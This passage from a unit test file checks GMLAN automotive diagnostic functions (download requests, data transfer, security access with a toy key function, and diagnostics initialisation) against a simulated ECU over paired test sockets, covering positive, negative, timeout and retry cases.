returnCode=0x78)\n    isotpsock2.send(wrongservice)\n    isotpsock2.send(pending)\n    ack = b\"\\x74\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_RequestDownload(isotpsock, 4, timeout=0.1) == True\nthread.join(timeout=5)\nassert res\n\n= Positive, negative response from different service interferes while pending\nstarted = threading.Event()\n\ndef ecusim():\n    isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78)\n    isotpsock2.send(pending)\n    wrongservice = GMLAN()/GMLAN_NR(requestServiceId=0x36, returnCode=0x22)\n    isotpsock2.send(wrongservice)\n    isotpsock2.send(pending)\n    ack = b\"\\x74\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_RequestDownload(isotpsock, 4, timeout=0.1) == True\nthread.join(timeout=5)\nassert res\n\n################### RETRY\n= Positive, first: immediate negative response, retry: Positive\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    # negative\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN()/GMLAN_RD(memorySize=4)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    nr = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x22)\n    # positive retry\n    print(\"retry\")\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(nr))\n    pkt = GMLAN()/GMLAN_RD(memorySize=4)\n    print(requ)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = b\"\\x74\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_RequestDownload(isotpsock, 4, timeout=0.1, retry=1) == True\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n\n\n##############################################################################\n+ GMLAN_TransferData Tests\n##############################################################################\n= Positive, short payload, scheme = 4\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000000,\n                             dataRecord=payload)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = b\"\\x76\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_TransferData(isotpsock, 0x40000000, payload, timeout=1) == True\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n= Positive, short payload, scheme = 3\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN() / GMLAN_TD(startingAddress=0x400000,\n                             dataRecord=payload)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = b\"\\x76\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_TransferData(isotpsock, 0x400000, payload, timeout=1) == True\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n= Positive, short payload, scheme = 2\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted = True\n    requ = isotpsock2.sniff(count=1, timeout=2, started_callback=started.set)\n    pkt = GMLAN() / GMLAN_TD(startingAddress=0x4000, dataRecord=payload)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = b\"\\x76\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_TransferData(isotpsock, 0x4000, payload, timeout=2) == True\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n= Negative, short payload\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    nr = GMLAN() / GMLAN_NR(requestServiceId=0x36, returnCode=0x22)\n    isotpsock2.send(nr)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_TransferData(isotpsock, 0x40000000, payload, timeout=1) == False\nthread.join(timeout=5)\nassert res\n\n= Negative, timeout\n\nassert GMLAN_TransferData(isotpsock, 0x4000, payload, timeout=0.1) == False\n\n\n= Positive, long payload\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000000,\n                             dataRecord=payload*2)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = b\"\\x76\"\n    # second package with inscreased address\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000010,\n                             dataRecord=payload * 2)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = b\"\\x76\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_TransferData(isotpsock, 0x40000000, payload*4, maxmsglen=16, timeout=1) == True\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n\n#\n= Positive, first part of payload succeeds, second pending, then fails, retry succeeds\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\nstarted = threading.Event()\ndef ecusim():\n    isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    ack = b\"\\x76\"\n    # second package with inscreased address\n    isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    pending = GMLAN() / GMLAN_NR(requestServiceId=0x36, returnCode=0x78)\n    isotpsock2.send(pending)\n    nr = GMLAN() / GMLAN_NR(requestServiceId=0x36, returnCode=0x22)\n    isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(nr))\n    ack = b\"\\x76\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_TransferData(isotpsock, 0x40000000, payload*4, maxmsglen=16, timeout=0.1, retry=1) == True\nthread.join(timeout=5)\nassert res\n\n############\n= Positive, maxmsglen length check -> message is split automatically\n\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\necusimSuccessfullyExecuted = True\nsim_started = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    requ = isotpsock2.sniff(count=1, timeout=3, started_callback=sim_started.set)\n    pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000000,\n                             dataRecord=payload*511+payload[:1])\n    if len(requ) == 0 or bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n        return\n    ack = b\"\\x76\"\n    # second package with inscreased address\n    requ = isotpsock2.sniff(count=1, timeout=3, started_callback=lambda: isotpsock2.send(ack))\n    pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000FF9,\n                             dataRecord=payload[1:])\n    if len(requ) == 0 or bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n        return\n    ack = b\"\\x76\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nthread.name = \"EcuSimulator\" + thread.name\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nsim_started.wait(timeout=5)\nres = GMLAN_TransferData(isotpsock, 0x40000000, payload*512, maxmsglen=0x1000000, timeout=8) == True\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n############ Address boundary checks\n= Positive, highest possible address for scheme\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\nstarted = threading.Event()\ndef ecusim():\n    isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    ack = b\"\\x76\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_TransferData(isotpsock, 2**32 - 1, payload, timeout=1) == True\nthread.join(timeout=5)\nassert res\n\n= Negative, invalid address (too large for addressing scheme)\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\nstarted = threading.Event()\ndef ecusim():\n    isotpsock2.sniff(count=1, timeout=0.1, started_callback=started.set)\n    ack = b\"\\x76\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_TransferData(isotpsock, 2**32, payload, timeout=0.1) == False\nthread.join(timeout=5)\nassert res\n\n= Positive, address zero\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    ack = b\"\\x76\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_TransferData(isotpsock, 0x00, payload, timeout=1) == True\nthread.join(timeout=5)\nassert res\n\n= Negative, negative address\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\nstarted = threading.Event()\ndef ecusim():\n    isotpsock2.sniff(count=1, timeout=0.1, started_callback=started.set)\n    ack = b\"\\x76\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_TransferData(isotpsock, -1, payload, timeout=0.1) == False\nthread.join(timeout=5)\nassert res\n\n############################################\n+ GMLAN_TransferPayload Tests\n############################################\n= Positive, short payload\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN()/GMLAN_RD(memorySize=len(payload))\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = b\"\\x74\"\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000000,\n                             dataRecord=payload)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = b\"\\x76\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_TransferPayload(isotpsock, 0x40000000, payload, timeout=1) == True\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n\n############################################\n+ GMLAN_GetSecurityAccess Tests\n############################################\n= KeyFunction\nkeyfunc = lambda seed : seed - 0x1FBE\n\n= Positive scenario, level 1, tests if keyfunction applied properly\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    # wait for request\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN()/GMLAN_SA(subfunction=1)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead)\n    # wait for key\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg))\n    pkt = GMLAN()/GMLAN_SA(subfunction=2, securityKey=0xbeef)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n        nr = GMLAN() / GMLAN_NR(requestServiceId=0x27, returnCode=0x35)\n        isotpsock2.send(nr)\n    else:\n        pr = GMLAN()/GMLAN_SAPR(subfunction=2)\n        isotpsock2.send(pr)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=0.1) == True\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n= Positive scenario, level 3\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    # wait for request\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN()/GMLAN_SA(subfunction=3)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    seedmsg = GMLAN()/GMLAN_SAPR(subfunction=3, securitySeed=0xdead)\n    # wait for key\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg))\n    pkt = GMLAN()/GMLAN_SA(subfunction=4, securityKey=0xbeef)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n        nr = GMLAN() / GMLAN_NR(requestServiceId=0x27, returnCode=0x35)\n        isotpsock2.send(nr)\n    else:\n        pr = GMLAN()/GMLAN_SAPR(subfunction=4)\n        isotpsock2.send(pr)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=3, timeout=0.1) == True\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n\n= Negative scenario, invalid password\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    # wait for request\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN()/GMLAN_SA(subfunction=1)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead)\n    # wait for key\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg))\n    pkt = GMLAN()/GMLAN_SA(subfunction=2, securityKey=0xbabe)\n    if bytes(requ[0]) != bytes(pkt):\n        nr = GMLAN() / GMLAN_NR(requestServiceId=0x27, returnCode=0x35)\n        isotpsock2.send(nr)\n    else:\n        ecusimSuccessfullyExecuted = False\n        pr = GMLAN()/GMLAN_SAPR(subfunction=2)\n        isotpsock2.send(pr)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=0.1) == False\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n= invalid level (not an odd number)\nassert GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=2, timeout=1) == False\n\n= zero seed\nstarted = threading.Event()\ndef ecusim():\n    # wait for request\n    isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0x0000)\n    isotpsock2.send(seedmsg)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=0.1) == True\nthread.join(timeout=5)\nassert res\n\n############### retry\n= Positive scenario, request timeout, retry works\nstarted = threading.Event()\ndef ecusim():\n    # timeout\n    requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=started.set)\n    # wait for request\n    requ = isotpsock2.sniff(count=1, timeout=3)\n    seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead)\n    # wait for key\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg))\n    pkt = GMLAN()/GMLAN_SA(subfunction=2, securityKey=0xbeef)\n    pr = GMLAN()/GMLAN_SAPR(subfunction=2)\n    isotpsock2.send(pr)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=0.1, retry=1) == True\nthread.join(timeout=5)\nassert res\n\n= Positive scenario, keysend timeout, retry works\nstarted = threading.Event()\ndef ecusim():\n    # wait for request\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead)\n    # timeout\n    requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=lambda:isotpsock2.send(seedmsg))\n    # retry from start\n    requ = isotpsock2.sniff(count=1, timeout=3)\n    seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead)\n    # wait for key\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg))\n    pr = GMLAN()/GMLAN_SAPR(subfunction=2)\n    isotpsock2.send(pr)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=0.1, retry=1) == True\nthread.join(timeout=5)\nassert res\n\n\n= Positive scenario, request error, retry works\nstarted = threading.Event()\ndef ecusim():\n    # wait for request\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    nr = GMLAN() / GMLAN_NR(requestServiceId=0x27, returnCode=0x37)\n    # wait for request\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(nr))\n    seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead)\n    # wait for key\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg))\n    pkt = GMLAN()/GMLAN_SA(subfunction=2, securityKey=0xbeef)\n    pr = GMLAN()/GMLAN_SAPR(subfunction=2)\n    isotpsock2.send(pr)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=0.1, retry=1) == True\nthread.join(timeout=5)\nassert res\n\n\n##############################################################################\n+ GMLAN_InitDiagnostics Tests\n##############################################################################\n= sequence of the correct messages\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    # DisableNormalCommunication\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN(b\"\\x28\")\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = b\"\\x68\"\n    # ReportProgrammedState\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    pkt = GMLAN(b\"\\xa2\")\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = GMLAN()/GMLAN_RPSPR(programmedState=0)\n    # ProgrammingMode requestProgramming\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    pkt = GMLAN() / GMLAN_PM(subfunction=0x1)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = GMLAN(b\"\\xe5\")\n    # InitiateProgramming enableProgramming\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    pkt = GMLAN() / GMLAN_PM(subfunction=0x3)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n\nthread = threading.Thread(target=ecusim)\n\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, unittest=True) == True\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n\n= sequence of the correct messages, disablenormalcommunication as broadcast\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\n\nbroadcastsender = TestSocket(CAN)\nbroadcastrcv = TestSocket(CAN)\nbroadcastsender.pair(broadcastrcv)\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    print(\"DisableNormalCommunication\")\n    requ = broadcastrcv.sniff(count=1, timeout=2, started_callback=started.set)\n    assert len(requ) >= 1\n    if bytes(requ[0].data)[0:3] != b\"\\xfe\\x01\\x28\":\n        ecusimSuccessfullyExecuted = False\n    print(\"ReportProgrammedState\")\n    requ = isotpsock2.sniff(count=1, timeout=2)\n    pkt = GMLAN(b\"\\xa2\")\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = GMLAN()/GMLAN_RPSPR(programmedState=0)\n    print(\"ProgrammingMode requestProgramming\")\n    requ = isotpsock2.sniff(count=1, timeout=3, started_callback=lambda: isotpsock2.send(ack))\n    pkt = GMLAN() / GMLAN_PM(subfunction=0x1)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = GMLAN(b\"\\xe5\")\n    print(\"InitiateProgramming enableProgramming\")\n    requ = isotpsock2.sniff(count=1, timeout=3, started_callback=lambda: isotpsock2.send(ack))\n    pkt = GMLAN() / GMLAN_PM(subfunction=0x3)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_InitDiagnostics(isotpsock, broadcast_socket=GMLAN_BroadcastSocket(broadcastsender), timeout=5, unittest=True) == True\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n\n######## timeout\n= timeout DisableNormalCommunication\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    # DisableNormalCommunication\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN(b\"\\x28\")\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, unittest=True) == False\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n\n= timeout ReportProgrammedState\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    # DisableNormalCommunication\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN(b\"\\x28\")\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = b\"\\x68\"\n    # ReportProgrammedState\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    pkt = GMLAN(b\"\\xa2\")\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = GMLAN()/GMLAN_RPSPR(programmedState=0)\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, unittest=True) == False\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n\n= timeout ProgrammingMode requestProgramming\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    # DisableNormalCommunication\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN(b\"\\x28\")\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = b\"\\x68\"\n    # ReportProgrammedState\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    pkt = GMLAN(b\"\\xa2\")\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = GMLAN()/GMLAN_RPSPR(programmedState=0)\n    # ProgrammingMode requestProgramming\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    pkt = GMLAN() / GMLAN_PM(subfunction=0x1)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, unittest=True) == False\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n###### negative response\n= timeout DisableNormalCommunication\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    # DisableNormalCommunication\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN(b\"\\x28\")\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12)\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\n\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, unittest=True) == False\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n###### retry tests\n= sequence of the correct messages, retry set \nstarted = threading.Event()\ndef ecusim():\n    # DisableNormalCommunication\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    ack = b\"\\x68\"\n    # ReportProgrammedState\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN()/GMLAN_RPSPR(programmedState=0)\n    # 